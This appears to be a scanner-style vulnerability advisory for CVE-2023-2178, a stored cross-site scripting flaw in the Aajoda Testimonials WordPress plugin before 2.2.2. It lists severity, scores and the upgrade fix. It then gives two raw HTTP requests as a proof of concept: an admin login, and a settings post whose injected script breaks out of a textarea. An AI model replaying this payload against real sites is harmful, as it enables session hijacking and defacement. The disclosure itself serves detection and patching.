| Title | Aajoda Testimonials < 2.2.2 - Cross-Site Scripting |
|---|---|
| Author | Farish |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update Aajoda Testimonials plugin to version 2.2.2 or later to mitigate the vulnerability. |
| CVSS Score | 4.8 |
| EPSS Score | 0.02873 |
| CVE ID | CVE-2023-2178 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve wpscan wordpress wp wp-plugin xss authenticated aajoda vuln |
The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=kY7l3z&pwd=8omCts&wp-submit=Log+In
POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
aajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save
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